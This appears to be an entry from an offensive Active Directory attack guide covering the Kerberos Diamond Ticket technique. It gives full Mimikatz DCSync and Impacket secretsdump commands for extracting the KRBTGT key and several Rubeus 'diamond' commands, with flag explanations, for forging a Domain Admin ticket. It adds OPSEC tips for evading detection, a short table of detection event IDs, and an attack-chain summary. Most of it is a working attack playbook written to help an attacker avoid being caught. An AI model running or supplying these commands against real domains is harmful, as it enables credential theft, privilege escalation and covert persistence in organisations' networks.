๐ Attack #13 โ Diamond Ticket Attack#
๐ How It Works#
The Diamond Ticket is an evolution of the Golden Ticket that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGT entirely from scratch (meaning there is no corresponding AS-REQ in the DC logs, which is a primary detection indicator), a Diamond Ticket takes a legitimate TGT obtained through a real AS-REQ/AS-REP exchange, decrypts it using the KRBTGT AES key, modifies the PAC (Privilege Attribute Certificate) to inject elevated group memberships, then re-encrypts and re-signs it. Because the ticket originated from a real authentication event, it has a valid audit trail on the DC โ making it significantly harder to detect.
Diamond Ticket vs Golden Ticket#
| Aspect |
Golden Ticket |
Diamond Ticket |
| TGT source |
Forged entirely offline |
Real TGT from legitimate AS-REQ |
| AS-REQ event |
โ Missing (primary IOC) |
โ
Present โ blends with normal traffic |
| PAC |
Entirely fabricated |
Modified from legitimate PAC |
| KRBTGT key needed |
Yes (NT hash or AES) |
Yes (AES256 required for decryption) |
| Detection difficulty |
Moderate โ missing AS-REQ |
Hard โ requires PAC anomaly detection |
| OPSEC level |
Medium |
High |
| Tool support |
Mimikatz, Rubeus, ticketer.py |
Rubeus (diamond command) |
The Full Attack Flow#
1. Obtain KRBTGT AES256 key (via DCSync)
2. Request a legitimate TGT for your controlled user (real AS-REQ)
3. Rubeus decrypts the TGT using the KRBTGT AES key
4. Modify the PAC โ inject DA/EA group memberships (RID 512, 519, etc.)
5. Re-encrypt and re-sign the TGT with the KRBTGT key
6. Inject the modified ticket into your session
7. Access any resource as DA โ with a clean audit trail on the DC
โ๏ธ Prerequisites#
| Requirement |
Detail |
| KRBTGT AES256 key |
Required for decryption/re-encryption โ NT hash alone is insufficient |
| Domain Admin or DCSync rights |
To extract the KRBTGT key |
| Valid domain user account |
Needed to request the initial legitimate TGT |
| Domain SID |
For PAC modification |
| Tool |
Platform |
Notes |
| Rubeus |
Windows |
diamond subcommand โ primary tool for Diamond Tickets |
| Mimikatz |
Windows |
DCSync to extract KRBTGT AES key (prerequisite step) |
| Impacket โ secretsdump.py |
Linux |
Extract KRBTGT AES key from Linux |
| Impacket โ ticketer.py |
Linux |
Can be used with modifications for PAC manipulation |
๐ป Full Commands#
# โโ Mimikatz DCSync for KRBTGT AES key โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgt
# Look for: aes256_hmac: b65fb27c8e0d7c5f48b16c10b4...
# โโ Linux โ secretsdump โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local -just-dc-user krbtgt
# Extract the aes256-cts-hmac-sha1-96 key from the kerberos section
๐ด Rubeus โ Forge Diamond Ticket#
# โโ Standard Diamond Ticket โ impersonate DA โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
.\Rubeus.exe diamond \
/krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
/user:low_user \
/password:Password1 \
/enctype:aes \
/domain:corp.local \
/dc:DC01.corp.local \
/ticketuser:Administrator \
/ticketuserid:500 \
/groups:512 \
/ptt
# Flags explained:
# /krbkey = KRBTGT AES256 key
# /user = YOUR low-priv user to request initial legitimate TGT
# /password = YOUR password for the initial TGT request
# /enctype = Force AES encryption (stealthy)
# /ticketuser = The user identity to embed in the modified PAC
# /ticketuserid = RID of the target user (500 = Administrator)
# /groups = Group RIDs to inject (512=DA, 519=EA, 518=Schema Admins)
# /ptt = Inject into current session
# โโ Diamond Ticket with multiple privileged groups โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
.\Rubeus.exe diamond \
/krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
/user:low_user \
/password:Password1 \
/enctype:aes \
/domain:corp.local \
/dc:DC01.corp.local \
/ticketuser:Administrator \
/ticketuserid:500 \
/groups:512,519,518,520 \
/ptt
# โโ Diamond Ticket with LDAP + OPSEC flags โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
.\Rubeus.exe diamond \
/krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
/user:low_user \
/password:Password1 \
/enctype:aes \
/domain:corp.local \
/dc:DC01.corp.local \
/ticketuser:Administrator \
/ticketuserid:500 \
/groups:512 \
/ldap /nowrap /ptt
# /ldap = Query LDAP for accurate user/group info for the PAC (most OPSEC)
# โโ Verify โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
klist
dir \\DC01.corp.local\C$
๐ฏ OPSEC Tips#
- Diamond Ticket is the stealthiest TGT-based attack โ unlike Golden Ticket, a real AS-REQ exists in DC logs, so the "TGS without TGT" detection fails
- Always use AES256 โ RC4 encryption generates detectable anomalies; AES256 is standard
- Use the
/ldap flag in Rubeus to pull real user attributes for the PAC โ this prevents inconsistencies that could be flagged by PAC inspection
- The KRBTGT AES key is mandatory โ unlike Golden Tickets which can use the NT hash (RC4), Diamond Tickets require the AES key for proper decryption/re-encryption
๐ก๏ธ Detection โ Event IDs#
| Event ID |
Source |
What to Look For |
| 4768 |
Security Log (DC) |
TGT request โ present (unlike Golden Ticket), but subsequent access may show elevated privileges |
| 4769 |
Security Log (DC) |
TGS requests with privileges that don't match the user's actual group memberships |
| 4624 |
Security Log |
Logon with DA-level privileges from a user that should be low-privilege |
Primary detection: Diamond Tickets require PAC-level inspection โ comparing the group memberships claimed in the TGT's PAC against the user's actual AD group memberships. If a user's TGT claims membership in Domain Admins but their AD object shows no such membership, it's a forged or modified ticket. Microsoft Defender for Identity can perform this correlation.
๐ Attack Chain Context#
[Diamond Ticket] โโโ Stealthy Domain Admin Persistence
โ
โโโโ ๐ซ Stealthier Golden Ticket โ has real AS-REQ in DC logs
โโโโ ๐ฉธ Use as DA โ DCSync โ extract all hashes
โโโโ ๐ Survives password changes (until KRBTGT reset ร 2)
โโโโ ๐ Chain: DCSync (get KRBTGT key) โ Diamond Ticket โ persist
โโโโ ๐ Defeated by: KRBTGT password reset ร 2, PAC inspection, MDI
โ
Attack #13 โ Diamond Ticket complete.